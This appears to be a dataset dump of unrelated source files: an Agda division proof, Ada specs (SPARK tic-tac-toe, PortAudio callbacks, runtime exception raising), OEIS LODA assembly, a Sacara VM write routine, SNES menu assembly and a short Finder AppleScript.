-- LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR -- CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF -- SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS -- INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN -- CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) -- ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE -- POSSIBILITY OF SUCH DAMAGE. ------------------------------------------------------------------------------
TD6/Div2.agda
erwinkn/program-eq-proof
0
10337
<filename>TD6/Div2.agda open import Relation.Binary.PropositionalEquality open import Data.Nat open import Data.Nat.Properties using (+-suc) open import Data.Product renaming (_×_ to _∧_) open import Data.Sum renaming (_⊎_ to _∨_ ; inj₁ to left ; inj₂ to right) {- 5.1 Extrinsic approach -} div2 : ℕ → ℕ div2 zero = zero div2 (suc zero) = zero div2 (suc (suc n)) = 1 + div2 n test5 : ℕ test5 = div2 (suc (suc (suc (suc (suc zero))))) suc-≡ : {m n : ℕ} → (m ≡ n) → (suc m ≡ suc n) suc-≡ refl = refl div2-correct : (n : ℕ) → (2 * div2 n ≡ n) ∨ (suc (2 * div2 n) ≡ n) div2-correct zero = left refl div2-correct (suc zero) = right refl div2-correct (suc (suc n)) with div2-correct n div2-correct (suc (suc n)) | left even rewrite +-suc (div2 n) (div2 n + 0) = left (suc-≡ (suc-≡ even)) div2-correct (suc (suc n)) | right odd rewrite +-suc (div2 n) (div2 n + 0) = right (suc-≡ (suc-≡ odd)) {- 5.2 Intrinsic approach -} {- There might be a more elegant way to rewrite this rather than using trans directly here -} div2' : (n : ℕ) → Σ ℕ (λ q → (2 * q ≡ n) ∨ (suc (2 * q) ≡ n)) div2' zero = zero , (left refl) div2' (suc zero) = zero , (right refl) div2' (suc (suc n)) with proj₂ (div2' n) ... | left even = 1 + proj₁ (div2' n) , left ( suc-≡ (trans (+-suc (proj₁ (div2' n)) (proj₁ (div2' n) + 0)) (suc-≡ even) )) ... | right odd = 1 + proj₁ (div2' n) , right (suc-≡ (suc-≡ (trans (+-suc (proj₁ (div2' n)) (proj₁ (div2' n) + 0)) odd)))
problem/src/tictactoe.ads
AdaCore/tictactoe
3
27077
<reponame>AdaCore/tictactoe package Tictactoe with SPARK_Mode => On is type Slot is (Empty, Player, Computer); type Pos is new Integer range 1 .. 3; type Column is array (Pos) of Slot; type Board is array (Pos) of Column; My_Board : Board := (others => (others => Empty)); -- Game operations procedure Initialize with Post => Num_Free_Slots = 9; procedure Player_Play (S : String) with Pre => not Is_Full and Won = Empty, Post => Num_Free_Slots = Num_Free_Slots'Old - 1; procedure Computer_Play with Pre => not Is_Full and Won = Empty, Post => Num_Free_Slots = Num_Free_Slots'Old - 1; procedure Display; function Won return Slot; function One_Free_Slot (X, Y : Pos) return Integer is (if My_Board(X)(Y) = Empty then 1 else 0); function Count_Free_Slots (X, Y : Pos) return Integer is (One_Free_Slot(1,1) + (if Y >= 2 then One_Free_Slot(1,2) else 0) + (if Y >= 3 then One_Free_Slot(1,3) else 0) + (if X >= 2 then One_Free_Slot(2,1) + (if Y >= 2 then One_Free_Slot(2,2) else 0) + (if Y >= 3 then One_Free_Slot(2,3) else 0) else 0) + (if X >= 3 then One_Free_Slot(3,1) + (if Y >= 2 then One_Free_Slot(3,2) else 0) + (if Y >= 3 then One_Free_Slot(3,3) else 0) else 0)); function Num_Free_Slots return Natural is (Count_Free_Slots(3,3)); function Is_Full return Boolean is (Num_Free_Slots = 0); end Tictactoe;
oeis/215/A215007.asm
neoneye/loda-programs
11
164722
<reponame>neoneye/loda-programs<filename>oeis/215/A215007.asm ; A215007: a(n) = 7*a(n-1) - 14*a(n-2) + 7*a(n-3), a(0)=1, a(1)=3, a(2)=9. ; Submitted by <NAME> ; 1,3,9,28,91,308,1078,3871,14161,52479,196196,737793,2785160,10540390,39955041,151615947,575723785,2187128524,8311078307,31587815308,120069510526,456434707519,1735184512425,6596692255391,25079305566420,95347738976441,362500740692944,1378191978145374,5239767650151489,19921191041875795,75738934038027337,287954237230990652,1094782921377682411,4162293666676099108,15824774428062074566,60164790112612911327,228742744462154029121,869665570654931967231,3306414102902657742212,12570779942384634858097 mov $1,1 mov $3,1 lpb $0 sub $0,1 mul $2,2 add $4,$3 add $3,$1 sub $4,$1 sub $1,$4 add $1,$3 sub $2,5 add $4,5 add $2,$4 mov $4,$2 lpe mov $0,$1
Src/SacaraVm/vm_write.asm
mrfearless/sacara
0
97110
<reponame>mrfearless/sacara<filename>Src/SacaraVm/vm_write.asm header_VmWrite vm_write PROC push ebp mov ebp, esp sub esp, 8 ; read the offset push [ebp+arg0] call_vm_stack_pop_enc mov [ebp+local0], eax ; read opcode to write push [ebp+arg0] call_vm_stack_pop_enc mov [ebp+local1], eax ; to go the offset mov ebx, [ebp+arg0] mov ebx, [ebx+vm_code] add ebx, [ebp+local0] ; write the byte mov ecx, [ebp+local1] mov [ebx], cl mov esp, ebp pop ebp ret vm_write ENDP header_marker
src/cm_func.asm
spannerisms/lttphack
6
97465
CMDO_SAVE_ADDRESS_LONG: JSR .continue LDA.b [SA1IRAM.cm_current_selection],Y STA.b SA1IRAM.cm_writer+2 INY RTS #CMDO_SAVE_ADDRESS_00: SEP #$20 STZ.b SA1IRAM.cm_writer+2 .continue REP #$20 LDA.b [SA1IRAM.cm_current_selection],Y INY INY STA.b SA1IRAM.cm_writer+0 SEP #$20 ACTION_EXIT: CMDO_HEADER: CMDO_LABEL: RTS ;=================================================================================================== CMDO_TOGGLE_BIT0: CMDO_TOGGLE_BIT0_CUSTOMTEXT: LDA.b #$1<<0 : BRA CMDO_TOGGLE_BIT_LOCAL CMDO_TOGGLE_BIT1: CMDO_TOGGLE_BIT1_CUSTOMTEXT: LDA.b #$1<<1 : BRA CMDO_TOGGLE_BIT_LOCAL CMDO_TOGGLE_BIT2: CMDO_TOGGLE_BIT2_CUSTOMTEXT: LDA.b #$1<<2 : BRA CMDO_TOGGLE_BIT_LOCAL CMDO_TOGGLE_BIT3: CMDO_TOGGLE_BIT3_CUSTOMTEXT: LDA.b #$1<<3 : BRA CMDO_TOGGLE_BIT_LOCAL CMDO_TOGGLE_BIT4: CMDO_TOGGLE_BIT4_CUSTOMTEXT: LDA.b #$1<<4 : BRA CMDO_TOGGLE_BIT_LOCAL CMDO_TOGGLE_BIT5: CMDO_TOGGLE_BIT5_CUSTOMTEXT: LDA.b #$1<<5 : BRA CMDO_TOGGLE_BIT_LOCAL CMDO_TOGGLE_BIT6: CMDO_TOGGLE_BIT6_CUSTOMTEXT: LDA.b #$1<<6 : BRA CMDO_TOGGLE_BIT_LOCAL CMDO_TOGGLE_BIT7: CMDO_TOGGLE_BIT7_CUSTOMTEXT: LDA.b #$1<<7 : BRA CMDO_TOGGLE_BIT_LOCAL CMDO_TOGGLE_BIT_LONG: PHA JSR CMDO_SAVE_ADDRESS_LONG BRA .continue #CMDO_TOGGLE_BIT_LOCAL: PHA JSR CMDO_SAVE_ADDRESS_00 .continue PLA BIT.b SA1IRAM.cm_ax BMI .toggle BVS .clear BIT.b SA1IRAM.cm_leftright BMI .toggle BVS .toggle BIT.b SA1IRAM.cm_y BMI .enable CLC RTS .clear EOR.b #$FF ; get complement for the AND STZ.b SA1IRAM.cm_writer_args+0 ; EOR in nothing JSL CM_MenuSFX_empty BRA CMDO_TOGGLE_SAVE_A .enable STA.b SA1IRAM.cm_writer_args+0 ; EOR will toggle but STA.b SA1IRAM.cm_writer_args+2 ; it also gets ORA'd in JSL CM_MenuSFX_fill BRA CMDO_TOGGLE_SAVE_B .toggle STA.b SA1IRAM.cm_writer_args+0 LDA.b #$FF BRA CMDO_TOGGLE_SAVE_A CMDO_TOGGLE_BIT7_LONG: CMDO_TOGGLE_BIT7_LONG_CUSTOMTEXT: LDA.b #$1<<7 : BRA CMDO_TOGGLE_BIT_LONG CMDO_TOGGLE_BIT6_LONG: CMDO_TOGGLE_BIT6_LONG_CUSTOMTEXT: LDA.b #$1<<6 : BRA CMDO_TOGGLE_BIT_LONG CMDO_TOGGLE_BIT5_LONG: CMDO_TOGGLE_BIT5_LONG_CUSTOMTEXT: LDA.b #$1<<5 : BRA CMDO_TOGGLE_BIT_LONG CMDO_TOGGLE_BIT4_LONG: CMDO_TOGGLE_BIT4_LONG_CUSTOMTEXT: LDA.b #$1<<4 : BRA CMDO_TOGGLE_BIT_LONG CMDO_TOGGLE_BIT3_LONG: CMDO_TOGGLE_BIT3_LONG_CUSTOMTEXT: LDA.b #$1<<3 : BRA CMDO_TOGGLE_BIT_LONG CMDO_TOGGLE_BIT2_LONG: CMDO_TOGGLE_BIT2_LONG_CUSTOMTEXT: LDA.b #$1<<2 : BRA CMDO_TOGGLE_BIT_LONG CMDO_TOGGLE_BIT1_LONG: CMDO_TOGGLE_BIT1_LONG_CUSTOMTEXT: LDA.b #$1<<1 : BRA CMDO_TOGGLE_BIT_LONG CMDO_TOGGLE_BIT0_LONG: CMDO_TOGGLE_BIT0_LONG_CUSTOMTEXT: LDA.b #$1<<0 : BRA CMDO_TOGGLE_BIT_LONG CMDO_TOGGLE_LONG: JSR CMDO_SAVE_ADDRESS_LONG BRA .continue #CMDO_TOGGLE: #CMDO_TOGGLE_CUSTOMTEXT: JSR CMDO_SAVE_ADDRESS_00 .continue SEP #$20 LDA.b #$01 STA.b SA1IRAM.cm_writer_args+0 BIT.b SA1IRAM.cm_ax BVS .clear BMI .toggle BIT.b SA1IRAM.cm_leftright BMI .toggle BVS .toggle BIT.b SA1IRAM.cm_y BMI .enable CLC RTS .toggle #CMDO_TOGGLE_SAVE_A: STZ.b SA1IRAM.cm_writer_args+2 #CMDO_TOGGLE_SAVE_B: STA.b SA1IRAM.cm_writer_args+1 #CMDO_PERFORM_TOGGLE: SEC ; set the carry here, since that means something happened LDA.b [SA1IRAM.cm_writer] EOR.b SA1IRAM.cm_writer_args+0 AND.b SA1IRAM.cm_writer_args+1 ORA.b SA1IRAM.cm_writer_args+2 STA.b [SA1IRAM.cm_writer] JSL CM_MenuSFX_bink RTS .clear JSL CM_MenuSFX_empty LDA.b #$00 BRA CMDO_TOGGLE_SAVE_A .enable STA.b SA1IRAM.cm_writer_args+2 JSL CM_MenuSFX_fill BRA CMDO_TOGGLE_SAVE_B ;=================================================================================================== CMDO_TOGGLE_FUNC: JSR CMDO_TOGGLE BRA CMDO_PERFORM_FUNC CMDO_TOGGLE_LONG_FUNC: JSR CMDO_TOGGLE_LONG BRA CMDO_PERFORM_FUNC CMDO_TOGGLE_FUNC_CUSTOMTEXT: JSR CMDO_TOGGLE BRA .continue #CMDO_TOGGLE_LONG_FUNC_CUSTOMTEXT: JSR CMDO_TOGGLE_LONG .continue INY INY INY BRA CMDO_PERFORM_FUNC CMDO_FUNC_FILTERED: LDA.b SA1IRAM.cm_ax ASL BCC .exit #CMDO_PERFORM_FUNC_FILTERED: JSR CMDO_SAVE_ADDRESS_LONG PHD PEA.w $0000 PLD PHK PEA.w .return-1 SEP #$30 JML.w [SA1IRAM.cm_writer] SEP #$20 STZ.b $15 .return PLD SEC JSL CM_MenuSFX_switch .exit RTS ; jump here for anything with an attached function ; expects Y to point to the current function argument ; carry means a function should happen CMDO_FUNC: LDA.b SA1IRAM.cm_ax ; get A press in carry ASL #CMDO_PERFORM_FUNC: BCC .exit JSR CMDO_SAVE_ADDRESS_LONG PHK PEA.w .return-1 SEP #$30 JML.w [SA1IRAM.cm_writer] .return SEC JSL CM_MenuSFX_switch .exit RTS CMDO_CHOICE_LONG_FUNC: CMDO_CHOICE_LONG_FUNC_PRGTEXT: JSR CMDO_CHOICE_LONG INY INY INY BRA CMDO_PERFORM_FUNC #CMDO_CHOICE_FUNC: #CMDO_CHOICE_FUNC_PRGTEXT: JSR CMDO_CHOICE INY INY INY BRA CMDO_PERFORM_FUNC CMDO_CHOICE_LONG_FUNC_FILTERED: JSR CMDO_CHOICE_LONG INY INY INY BRA CMDO_PERFORM_FUNC_FILTERED ;=================================================================================================== CMDO_NUMFIELD_FUNC: CMDO_NUMFIELD_FUNC_HEX: CMDO_NUMFIELD_FUNC_PRGTEXT: JSR CMDO_NUMFIELD BRA CMDO_PERFORM_FUNC CMDO_NUMFIELD_LONG_FUNC: CMDO_NUMFIELD_LONG_FUNC_HEX: CMDO_NUMFIELD_LONG_FUNC_PRGTEXT: JSR CMDO_NUMFIELD_LONG BRA CMDO_PERFORM_FUNC CMDO_NUMFIELD_HEX_UPDATEWHOLEMENU: JSR CMDO_NUMFIELD JSR EmptyCurrentMenu JSR DrawCurrentMenu JSL NMI_RequestFullMenuUpdate RTS ;=================================================================================================== CMDO_CHOICE_LONG: CMDO_CHOICE_LONG_PRGTEXT: JSR CMDO_SAVE_ADDRESS_LONG BRA .continue #CMDO_CHOICE: #CMDO_CHOICE_PRGTEXT: JSR CMDO_SAVE_ADDRESS_00 .continue LDA.b [SA1IRAM.cm_writer] BIT.b SA1IRAM.cm_ax BVS .empty BMI .increment BIT.b SA1IRAM.cm_leftright BMI .decrement BVS .increment INY CLC ; carry clear = nothing actionable, so no functions RTS .decrement CMP.b #$00 BNE .not_max ; the max value needs to be decremented too LDA.b [SA1IRAM.cm_current_selection],Y .not_max DEC BRA .set .increment INC CMP.b [SA1IRAM.cm_current_selection],Y BCC .set .clear LDA.b #$00 .set STA.b [SA1IRAM.cm_writer] INY SEC ; carry set = actionable, so do functions JSL CM_MenuSFX_bink RTS .empty JSL CM_MenuSFX_empty BRA .clear ;=================================================================================================== CMDO_SUBMENU: BIT.b SA1IRAM.cm_ax BPL .no JSR EmptyCurrentMenu JSR CM_PushMenuToStack REP #$30 LDA.b [SA1IRAM.cm_current_selection] AND.w #$FF00 STA.b SA1IRAM.cm_cursor+0 LDY.w #$02 LDA.b [SA1IRAM.cm_current_selection],Y STA.b SA1IRAM.cm_cursor+2 .drawmenu JSR DrawCurrentMenu JSL NMI_RequestFullMenuUpdate JSR CM_UpdateCurrentSelection JSL CM_MenuSFX_submenu .no RTS #CMDO_SUBMENU_VARIABLE: BIT.b SA1IRAM.cm_ax BPL .no JSR EmptyCurrentMenu JSR CM_PushMenuToStack JSL CM_MenuSFX_submenu SEC LDY.w #1 JSR CMDO_PERFORM_FUNC BRA .drawmenu ;=================================================================================================== CMDO_PRESET_UW: CMDO_PRESET_OW: BIT.b SA1IRAM.cm_ax BMI .go RTS .go JSR CMDO_SAVE_ADDRESS_00 REP #$20 TXA AND.w #$00FF STA.b SA1IRAM.preset_type LDA.b SA1IRAM.cm_writer+0 STA.b SA1IRAM.preset_addr+0 JSL CM_Exiting SEP #$30 LDA.b SA1IRAM.cm_current_menu+2 STA.b SA1IRAM.preset_addr+2 JML LoadPreset ;=================================================================================================== CMDO_CTRL_SHORTCUT_FINAL: LDA.b SA1IRAM.cm_ax BIT.b #$C0 BEQ .no JSL CM_MenuSFX_error .no RTS ;=================================================================================================== CMDO_CTRL_SHORTCUT: JSR CMDO_SAVE_ADDRESS_00 LDA.b #$C0 BIT.b SA1IRAM.cm_ax BEQ .no REP #$20 STZ.b SA1IRAM.preset_scratch LDA.w #$0000 STA.b [SA1IRAM.cm_writer] BVS .delete LDA.w #$0008 STA.b SA1IRAM.cm_submodule JSL CM_MenuSFX_setshortcut RTS .delete JSL CM_MenuSFX_empty .no RTS ;=================================================================================================== CMDO_LITESTATE: LDA.b [SA1IRAM.cm_current_selection],Y STA.b SA1IRAM.litestate_act BIT.b SA1IRAM.cm_ax BMI .load BVS .delete BIT.b SA1IRAM.cm_y BMI .save RTS .save REP #$30 LDA.w #$000A STA.b SA1IRAM.cm_submodule STZ.b SA1IRAM.preset_scratch RTS .delete LDA.b SA1IRAM.litestate_act JSL ValidateLiteState BCC .invalid REP #$30 LDA.w #$000C STA.b SA1IRAM.cm_submodule STZ.b SA1IRAM.preset_scratch RTS .load JSL ValidateLiteState BCC .invalid JSL CM_Exiting REP #$20 LDA.w SA1IRAM.litestate_act STA.w SA1IRAM.litestate_last JML LoadLiteState .invalid JSL CM_MenuSFX_error RTS ;=================================================================================================== CMDO_TOGGLE_ROOMFLAG: REP #$20 LDA.b [SA1IRAM.cm_current_selection],Y AND.w #$00FF ASL TAY LDA.w SA1RAM.loadroomid AND.w #$00FF ASL TAX LDA.w CM_BITS_ASCENDING,Y BIT.b SA1IRAM.cm_ax-1 BVS .clear BMI .toggle BIT.b SA1IRAM.cm_leftright-1 BMI .toggle BVS .toggle BIT.b SA1IRAM.cm_y-1 BMI .enable RTS .clear EOR.w #$FFFF AND.l $7EF000,X STA.l $7EF000,X JSL CM_MenuSFX_empty RTS .toggle EOR.l $7EF000,X STA.l $7EF000,X JSL CM_MenuSFX_bink RTS .enable ORA.l $7EF000,X STA.l $7EF000,X JSL CM_MenuSFX_fill RTS ;=================================================================================================== CMDO_NUMFIELD: CMDO_NUMFIELD_HEX: JSR CMDO_SAVE_ADDRESS_00 BRA .continue #CMDO_NUMFIELD_LONG: #CMDO_NUMFIELD_LONG_HEX: #CMDO_NUMFIELD_LONG_2DIGITS: JSR CMDO_SAVE_ADDRESS_LONG .continue LDA.b [SA1IRAM.cm_writer] BIT.b SA1IRAM.cm_ax BVS .delete ; Y currently points to our minimum value BIT.b SA1IRAM.cm_y BMI .get_max_min BIT.b SA1IRAM.cm_leftright BMI .decrement INY ; Y now points to our maximum BVS .increment INY ; now point to slider size or whatever you wanna call it BIT.b SA1IRAM.cm_shoulder BMI .dec_big BVS .inc_big INY CLC RTS .delete JSL CM_MenuSFX_empty BRA .clear_min .topoff JSL CM_MenuSFX_fill BRA .get_max_min .increment CMP.b [SA1IRAM.cm_current_selection],Y INC BCC .in_range_max .clear_max DEY ; point to min .clear_min LDA.b [SA1IRAM.cm_current_selection],Y .in_range_min INY ; point to max .in_range_max INY ; point to slide .in_range_slide .set STA.b [SA1IRAM.cm_writer] INY ; this should now point to after slide SEC JSL CM_MenuSFX_bink RTS .decrement CMP.b #$00 BEQ .get_max_min DEC ; now our new value against the minimum CMP.b [SA1IRAM.cm_current_selection],Y INY ; point this to max, just in case we need it BCS .in_range_max BRA .get_max_max ; since we're already pointed there .get_max_min INY .get_max_max LDA.b [SA1IRAM.cm_current_selection],Y BRA .in_range_max .dec_big ; also these shouldn't wrap on overflow SEC SBC.b [SA1IRAM.cm_current_selection],Y DEY ; pointing to max BCC .clear_max ; if we borrowed here, we need to floor ourselves DEY ; pointing to min CMP.b [SA1IRAM.cm_current_selection],Y BCS .in_range_min ; we're fine BRA .clear_min ; don't go past the minimum .inc_big CLC ADC.b [SA1IRAM.cm_current_selection],Y DEY ; pointing to max BCS .get_max_max ; if we went too high, cap now CMP.b [SA1IRAM.cm_current_selection],Y BCS .get_max_max ; will cap if we match, but that's fine BRA .in_range_max
gcc-gcc-7_3_0-release/gcc/testsuite/gnat.dg/frunaligned.adb
best08618/asylo
7
9054
-- { dg-do compile } -- { dg-options "-gnatws" } with FRUnaligned1; use FRUnaligned1; function FRUnaligned return r is ss : s; begin return ss.y; end;
programs/oeis/258/A258197.asm
neoneye/loda
22
24376
<filename>programs/oeis/258/A258197.asm ; A258197: Arithmetic derivative of Pascal's triangle. ; 0,0,0,0,1,0,0,1,1,0,0,4,5,4,0,0,1,7,7,1,0,0,5,8,24,8,5,0,0,1,10,12,12,10,1,0,0,12,32,92,59,92,32,12,0,0,6,60,124,165,165,124,60,6,0,0,7,39,244,247,456,247,244,39,7,0,0,1,16,103,371,493,493,371,103,16,1,0,0,16,61,284,474,1788,1448,1788,474,284,61,16,0,0,1,71,191,263,1074,2576,2576,1074 seq $0,7318 ; Pascal's triangle read by rows: C(n,k) = binomial(n,k) = n!/(k!*(n-k)!), 0 <= k <= n. seq $0,3415 ; a(n) = n' = arithmetic derivative of n: a(0) = a(1) = 0, a(prime) = 1, a(mn) = m*a(n) + n*a(m).
source/s-unwrai.ads
ytomino/drake
33
24847
<reponame>ytomino/drake pragma License (Unrestricted); -- runtime unit with Ada; with System.Unwind.Representation; package System.Unwind.Raising is pragma Preelaborate; -- equivalent to Raise_With_Location_And_Msg (a-except-2005.adb) procedure Raise_Exception ( E : not null Exception_Data_Access; File : String := ""; Line : Integer := 0; Column : Integer := 0; Message : String := ""); pragma No_Return (Raise_Exception); -- equivalent to Raise_From_Signal_Handler (a-except-2005.adb) procedure Raise_From_Signal_Handler ( E : not null Exception_Data_Access; Message : String; Stack_Guard : Address); pragma No_Return (Raise_From_Signal_Handler); -- implementation for raising (a-except-2005.adb) procedure Raise_E ( E : Exception_Data_Access; Message : String) with Export, Convention => Ada, External_Name => "ada__exceptions__raise_exception"; pragma No_Return (Raise_E); procedure Raise_Exception_From_Here ( E : not null Exception_Data_Access; File : String := Ada.Debug.File; Line : Integer := Ada.Debug.Line) with Export, Convention => Ada, External_Name => "__drake_raise_exception_from_here"; procedure Raise_Exception_From_Here_With ( E : not null Exception_Data_Access; File : String := Ada.Debug.File; Line : Integer := Ada.Debug.Line; Message : String) with Export, Convention => Ada, External_Name => "__drake_raise_exception_from_here_with"; pragma No_Return (Raise_Exception_From_Here); pragma No_Return (Raise_Exception_From_Here_With); -- implementation for reraising (a-except-2005.adb) procedure Reraise (X : Exception_Occurrence) with Export, Convention => Ada, External_Name => "ada__exceptions__reraise_occurrence_always"; pragma No_Return (Reraise); -- implementation for reraising from when all others (a-except-2005.adb) procedure Reraise_From_All_Others (X : Exception_Occurrence) with Export, Convention => Ada, External_Name => "ada__exceptions__reraise_occurrence_no_defer"; pragma No_Return (Reraise_From_All_Others); -- implementation for raising from controlled objects (a-except-2005.adb) procedure Reraise_From_Controlled_Operation (X : Exception_Occurrence) with Export, Convention => Ada, External_Name => "__gnat_raise_from_controlled_operation"; pragma No_Return (Reraise_From_Controlled_Operation); -- equivalent to Reraise_GCC_Exception (a-exexpr-gcc.adb) -- for nested controlled types procedure Reraise_Machine_Occurrence ( Machine_Occurrence : not null Representation.Machine_Occurrence_Access) with Export, Convention => C, External_Name => "__gnat_reraise_zcx"; -- utility for implementing a dummy subprogram procedure Raise_Program_Error with Export, Convention => Ada, External_Name => "__drake_program_error"; -- for runtime checks (a-except-2005.adb) procedure rcheck_00 (File : not null access Character; Line : Integer) with Export, Convention => C, External_Name => "__gnat_rcheck_CE_Access_Check"; pragma No_Return (rcheck_00); procedure rcheck_02 (File : not null access Character; Line : Integer) with Export, Convention => C, External_Name => "__gnat_rcheck_CE_Discriminant_Check"; pragma No_Return (rcheck_02); procedure rcheck_03 (File : not null access Character; Line : Integer) with Export, Convention => C, External_Name => "__gnat_rcheck_CE_Divide_By_Zero"; pragma No_Return (rcheck_03); -- equivalent to rcheck_03 procedure Zero_Division ( File : String := Ada.Debug.File; Line : Integer := Ada.Debug.Line); pragma No_Return (Zero_Division); procedure rcheck_04 (File : not null access Character; Line : Integer) with Export, Convention => C, External_Name => "__gnat_rcheck_CE_Explicit_Raise"; pragma No_Return (rcheck_04); procedure rcheck_05 (File : not null access Character; Line : Integer) with Export, Convention => C, External_Name => "__gnat_rcheck_CE_Index_Check"; pragma No_Return (rcheck_05); procedure rcheck_06 (File : not null access Character; Line : Integer) with Export, Convention => C, External_Name => "__gnat_rcheck_CE_Invalid_Data"; pragma No_Return (rcheck_06); procedure rcheck_07 (File : not null access Character; Line : Integer) with Export, Convention => C, External_Name => "__gnat_rcheck_CE_Length_Check"; pragma No_Return (rcheck_07); procedure rcheck_09 (File : not null access Character; Line : Integer) with Export, Convention => C, External_Name => "__gnat_rcheck_CE_Null_Not_Allowed"; pragma No_Return (rcheck_09); procedure rcheck_10 (File : not null access Character; Line : Integer) with Export, Convention => C, External_Name => "__gnat_rcheck_CE_Overflow_Check"; pragma No_Return (rcheck_10); -- equivalent to rcheck_10 procedure Overflow ( File : String := Ada.Debug.File; Line : Integer := Ada.Debug.Line); pragma No_Return (Overflow); procedure rcheck_12 (File : not null access Character; Line : Integer) with Export, Convention => C, External_Name => "__gnat_rcheck_CE_Range_Check"; pragma No_Return (rcheck_12); procedure rcheck_13 (File : not null access Character; Line : Integer) with Export, Convention => C, External_Name => "__gnat_rcheck_CE_Tag_Check"; pragma No_Return (rcheck_13); procedure rcheck_14 (File : not null access Character; Line : Integer) with Export, Convention => C, External_Name => "__gnat_rcheck_PE_Access_Before_Elaboration"; pragma No_Return (rcheck_14); procedure rcheck_15 (File : not null access Character; Line : Integer) with Export, Convention => C, External_Name => "__gnat_rcheck_PE_Accessibility_Check"; pragma No_Return (rcheck_15); procedure rcheck_18 (File : not null access Character; Line : Integer) with Export, Convention => C, External_Name => "__gnat_rcheck_PE_All_Guards_Closed"; pragma No_Return (rcheck_18); procedure rcheck_22 (File : not null access Character; Line : Integer) with Export, Convention => C, External_Name => "__gnat_rcheck_PE_Explicit_Raise"; pragma No_Return (rcheck_22); procedure rcheck_23 (File : not null access Character; Line : Integer) with Export, Convention => C, External_Name => "__gnat_rcheck_PE_Finalize_Raised_Exception"; pragma No_Return (rcheck_23); -- equivalent to rcheck_23 procedure Finalize_Raised_Exception; pragma No_Return (Finalize_Raised_Exception); procedure rcheck_24 (File : not null access Character; Line : Integer) with Export, Convention => C, External_Name => "__gnat_rcheck_PE_Implicit_Return"; pragma No_Return (rcheck_24); procedure rcheck_25 (File : not null access Character; Line : Integer) with Export, Convention => C, External_Name => "__gnat_rcheck_PE_Misaligned_Address_Value"; pragma No_Return (rcheck_25); procedure rcheck_26 (File : not null access Character; Line : Integer) with Export, Convention => C, External_Name => "__gnat_rcheck_PE_Missing_Return"; pragma No_Return (rcheck_26); procedure rcheck_27 (File : not null access Character; Line : Integer) with Export, Convention => C, External_Name => "__gnat_rcheck_PE_Overlaid_Controlled_Object"; pragma No_Return (rcheck_27); procedure rcheck_30 (File : not null access Character; Line : Integer) with Export, Convention => C, External_Name => "__gnat_rcheck_PE_Unchecked_Union_Restriction"; pragma No_Return (rcheck_30); procedure rcheck_32 (File : not null access Character; Line : Integer) with Export, Convention => C, External_Name => "__gnat_rcheck_SE_Empty_Storage_Pool"; pragma No_Return (rcheck_32); procedure rcheck_33 (File : not null access Character; Line : Integer) with Export, Convention => C, External_Name => "__gnat_rcheck_SE_Explicit_Raise"; pragma No_Return (rcheck_33); procedure rcheck_35 (File : not null access Character; Line : Integer) with Export, Convention => C, External_Name => "__gnat_rcheck_SE_Object_Too_Large"; pragma No_Return (rcheck_35); procedure Save_Exception ( X : out Exception_Occurrence; E : not null Exception_Data_Access; File : String := ""; Line : Integer := 0; Column : Integer := 0; Message : String := ""); procedure Save_E ( X : out Exception_Occurrence; E : not null Exception_Data_Access; Message : String) with Export, Convention => Ada, External_Name => "__drake_save_exception"; procedure Save_Exception_From_Here ( X : out Exception_Occurrence; E : not null Exception_Data_Access; File : String := Ada.Debug.File; Line : Integer := Ada.Debug.Line) with Export, Convention => Ada, External_Name => "__drake_save_exception_from_here"; procedure Save_Exception_From_Here_With ( X : out Exception_Occurrence; E : not null Exception_Data_Access; File : String := Ada.Debug.File; Line : Integer := Ada.Debug.Line; Message : String) with Export, Convention => Ada, External_Name => "__drake_save_exception_from_here_with"; -- excluding code range function AAA return Address; function ZZZ return Address; -- GDB knows some names for "catch exception" command. -- However, it works incompletely with official gcc (works fine with GNAT -- Community/GPL Edition). -- In drake, only the simple form of "catch exception" is supported. -- (s-excdeb.ads) procedure Debug_Raise_Exception ( E : not null Exception_Data_Access; Message : String) with Export, Convention => Ada, External_Name => "__gnat_debug_raise_exception"; -- procedure __gnat_unhandled_exception (E : Exception_Data_Ptr); -- procedure __gnat_debug_raise_assert_failure; -- procedure __gnat_raise_nodefer_with_msg (E : Exception_Data_Ptr); end System.Unwind.Raising;
programs/oeis/063/A063105.asm
neoneye/loda
22
85143
<reponame>neoneye/loda ; A063105: Dimension of the space of weight 2n cusp forms for Gamma_0( 37 ). ; 2,9,15,21,27,35,39,47,53,59,65,73,77,85,91,97,103,111,115,123,129,135,141,149,153,161,167,173,179,187,191,199,205,211,217,225,229,237,243,249,255,263,267,275,281,287,293,301,305,313 seq $0,63247 ; Dimension of the space of weight 2n cuspidal newforms for Gamma_0( 100 ). add $2,$0 mov $1,$2 trn $2,2 add $1,$2 add $1,1 mov $0,$1
examples/paex_sine/src/paex_sine_callbacks.ads
ficorax/PortAudioAda
2
28581
with Interfaces.C; with System; with PortAudioAda; use PortAudioAda; package PaEx_Sine_Callbacks is ----------------------------------------------------------------------------- -- This routine will be called by the PortAudio engine when audio is needed. -- It may called at interrupt level on some machines so don't do anything -- that could mess up the system like calling malloc() or free(). function paTestCallback (inputBuffer : System.Address; outputBuffer : System.Address; framesPerBuffer : Interfaces.C.unsigned_long; timeInfo : access PA_Stream_Callback_Time_Info; statusFlags : PA_Stream_Callback_Flags; userData : System.Address) return PA_Stream_Callback_Result; pragma Export (C, paTestCallback); ----------------------------------------------------------------------------- -- This routine is called by portaudio when playback is done. procedure StreamFinished (userData : System.Address); pragma Export (C, StreamFinished); end PaEx_Sine_Callbacks;
MTMR/AppleScripts/Finder.scpt
FedorZaytsev/MTMR
3,715
1844
<reponame>FedorZaytsev/MTMR tell application "Finder" if not (exists window 1) then make new Finder window set target of front window to path to home folder as string end if activate end tell
Task/Stack/Ada/stack-1.ada
LaudateCorpus1/RosettaCodeData
1
11994
